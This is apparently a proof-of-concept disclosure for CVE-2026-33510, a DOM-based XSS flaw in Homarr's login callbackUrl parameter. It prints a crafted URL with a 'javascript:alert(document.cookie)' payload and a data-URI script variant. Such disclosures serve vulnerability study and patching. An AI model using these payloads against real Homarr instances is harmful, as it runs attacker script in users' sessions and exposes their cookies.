CVE-2026-33510 Homarr DOM型跨站脚本漏洞

// Proof of Concept for CVE-2026-33510 // Target: Homarr < 1.57.0 // Description: Injecting JavaScript via the callbackUrl parameter // Step 1: Craft the malicious URL // The application takes the 'callbackUrl' and passes it to router.push() // Using the 'javascript:' protocol allows arbitrary code execution. const maliciousUrl = "https://target-homarr-domain/auth/login?callbackUrl=javascript:alert(document.cookie)"; // Alternatively, testing for data URI execution: // const maliciousUrl = "https://target-homarr-domain/auth/login?callbackUrl=data:text/html,<script>alert('XSS')</script>"; console.log("Visit this URL to trigger the vulnerability:", maliciousUrl); // Expected Result: // When an authenticated user clicks the link, the browser executes alert(document.cookie) // demonstrating the ability to execute arbitrary JS in the context of the application.